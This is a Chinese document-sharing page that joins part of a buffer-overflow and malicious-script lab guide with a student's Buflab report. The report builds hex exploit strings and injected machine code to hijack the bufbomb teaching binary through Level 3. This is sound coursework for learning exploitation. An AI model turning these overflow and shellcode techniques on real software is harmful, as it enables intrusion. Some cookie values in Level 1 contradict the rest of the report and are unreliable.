实验四恶意代码攻防实验【实验目的】通过本实验初步了解远程控制软件的编写方法,了解黑客利用流行的木马软件进行远程监控和攻击的方法,掌握常见工具的基本应用,包括如下几个方面:✓掌握基于Socket的网络编程。

✓了解缓冲区溢出攻击的基本实现方法。

✓了解恶意脚本攻击的基本实现方法。

✓了解网络病毒的基本特性。

实验过程中,学生需要将实验的结果记录下来,并回答相关思考题,填写到实验报告中。

【实验类型】综合型实验【实验内容】以下实验内容可根据实验室的具体情况和课时安排的变化进行适当的调整,实验内容中的思考题以书面形式解答并附在实验报告的后面。

需要注意的是,学生在实验过程中要严格按实验指导书的操作步骤和要求操作,且小组成员应紧密配合,以保证实验过程能够顺利完成。

本次实验的主要项目包括以下几个方面:☑溢出攻击模拟程序的编写、调试;☑跨站恶意脚本的运用;☑网页脚本攻击。

具体的实验内容和步骤如下:【实验环境】实验设备:Windows XP系统,VMWare系统,Windows 2000/XP虚拟机。

一、缓冲区溢出攻击编写简单的溢出攻击程序,编译后分别在实验主机和虚拟机中运行。

1.简单原理示例VC环境下编译以下代码:#include <stdio.h>#include <string.h>char name[]="abcdefghijklmnopqrstuvwxyz";int main() {char buffer[8];strcpy(buffer,name);return 0;}运行编译后的程序,会出现系统下图警告,点击“调试”按钮,根据返回的偏移值可推断出溢出的部位。

2.溢出攻击模拟示例实验需要使用以下工具:●OllyDB●Uedit首先写一个C++程序2.c,源码:#include "iostream.h"int main ( ){char name[8];cout<<"Please type your name: ";cin>>name;cout<<"Hello, ";cout<< name;cout<<"\n";return 0;}赋值一个名为name的字符类型数组(字符串),其内容空间为8个字节,运行程序时首先提示使用者输入你的名字,当输入后将该值吸入给name,然后以“Hello,你的名字\n”的方式输出。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

HUNAN UNIVERSITY课程实验报告题目: Buflab-handout学生姓名学生学号专业班级计科1403(一)实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二)实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。

bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。

要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。

从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#define NORMAL_BUFFER_SIZE 32int getbuf(){char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。

2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。

Makecookie是产生一个userid。

输入的相应的用户名产生相应的cookie值。

**我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test(){int val;// Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();// Check for corrupted stackif (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);} else {printf("Dud: getbuf returned 0x%x\n", val);}}smoke源码:void smoke(){printf("Smoke!: You called smoke()\n");validate(0);exit(0);}对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp))传给了Gets()。

画出栈结构为(为绘制图简单,我们将相应的地址直接写在栈内部,如ebp-4写在方框中,实际上应当是这个地址指向这块内存区域,接下来的绘图都将采用这种方式):易知(ebp – 28)距离getbuf函数的返回地址之间有44个字节,我们只需要在将getbuf 返回地址的字修改为smoke函数的入口地址,这样我们就可以在执行完getbuf函数之后执行smoke函数。

我们通过反汇编得到smoke函数的入口地址为0x08048e0a:我们构造文件a.txt,里面存放数据为(本人电脑为小端机,这里需要的也是小端):31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 330b 8e 04 08之所以将0x08048e0a改成8e04080b,是因为0a对应的是换行符,会使该字符无法读入而结束Gets函数。

运行结果为(输入命令为./hex2raw <a.txt | ./bufbomb -u 201408010321):Level1:题意:从英文PDF文件中我们可以理解到,这关的目的是进入fizz函数,并通过makecookie计算出userid的cookie值,本人产生的cookie为0x5eb52e1c。

FIZZ源码如下:void fizz(int val){if (val == cookie) {printf("Fizz!: You called fizz(0x%x)\n", val);validate(1);} elseprintf("Misfire: You called fizz(0x%x)\n", val);exit(0);}解答:反汇编得到fizz函数的入口地址为0x08048daf:由fizz的汇编代码可得,push%ebp之后,%esp与%ebp指向同一个位置,而此时用%ebp+8表示输入的参数。

而我们由上面fizz函数的代码可得,要使cookie值等于参数值。

在调用fizz函数后,开辟一个新的栈,此时参数位置距离fizz函数首地址还有一个空,需要用00 00 00 00来覆盖(覆盖数据随便,只要不影响程序运行就可以),将cookie值付给参数。

除了要将这个值用相同的方式输入到getbuf函数中返回地址处外,还应将cookie值0x1005b2b7输入到在fizz函数中fizz函数返回地址的上一个4字节处即第一个参数处。

getbuf函数输入时fizz函数的地址值和cookie值是不变的,(不能输入0a) ,共需要输入56(0x28+0x4+0x4+0x4+0x4)个字节,其中前44个可以任意输入.getbuf返回地址处输入应为0x08048daf(小端法:af 8d 04 08)fizz返回地址处可以随意,故输入00 00 00 00 第1个参数处为cookie值0x4169155f(小端法5f 15 69 41与level0类似,不过fizz需要传入一个参数。

我们可以画出栈的结构图:31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 33af 8d 04 0800 00 00 001c 2e b5 5e其中0x5eb52e1c为id201408010321对应的cookie的值。

运行结果为:Level2:题意:令getbuf调用后不执行test函数,而是执行bang函数(默认会执行test函数),但是同时我们要修改global_value的值为cookie值。

然而,global_value是一个全局变量,它没有储存再栈里面。

所以在程序执行过程中,只能通过赋值语句来改变global_value 的值。

即这次我们不仅要让函数跳到bang中,而且要模拟一个函数调用来进行赋值。

bang函数的源码为:int global_value = 0;void bang(int val){if (global_value == cookie) {printf("Bang!: You set global_value to 0x%x\n", global_value);validate(2);}elseprintf("Misfire: global_value = 0x%x\n", global_value);exit(0);}解答:首先我们反汇编bang函数:从中我们可以得知v alue存放在0x804d10c,而cookie存放在0x804d104处。

写出代码:movl $0x5eb52e1c,%eax //将cookie值存入eax寄存器movl %eax,0x804d10c //将eax中的(cookie)值存入global_value的地址pushl $0x08048d52 //将bang作为返回地址压栈ret //通过ret调用改变eip转到bang函数中我们使用objdump将上面代码转化成二进制。

用objdump将.S(汇编)文件转化为.o (二进制)文件,然后显示出来。

将getbuf的返回地址改成buf的首地址运行,这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数(指令),再通过恶意函数中的ret指令跳转原栈中bang的入口地址,再进入bang函数中执行。

我们得到buf的首地址为0x55683968:构造文件3.txt:b8 1c 2e b5 5ea3 0c d1 04 0868 52 8d 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0068 39 68 55运行结果为:Level3:题意:这次要求getbuf调用后,返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时要让test函数调用getbuf后的返回值(val)为自己的cookie。

解答:采用类似level2中的解法,利用恶意代码去修改变量val的值。

然后改变程序的执行情况。

反汇编得到指向test中的getbuf调用后一条指令我们填写汇编代码:movl $0x5eb52e1c,%eax //返回cookie值pushl $0x08048e50 //返回地址指向test中的getbuf调用后一条指令ret //返回test继续执行反汇编上述代码:由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值,通过gdb得到保存的ebp寄存器指向的值并结合上一题的解题思路:构造文件4.txt:b8 1c 2e b5 5e68 50 8e 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00C0 39 68 5568 39 68 55运行结果为:Level4:题意:最后一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,此时会进入testn 和getbufn函数而不是test和getbuf函数。

相关文档
最新文档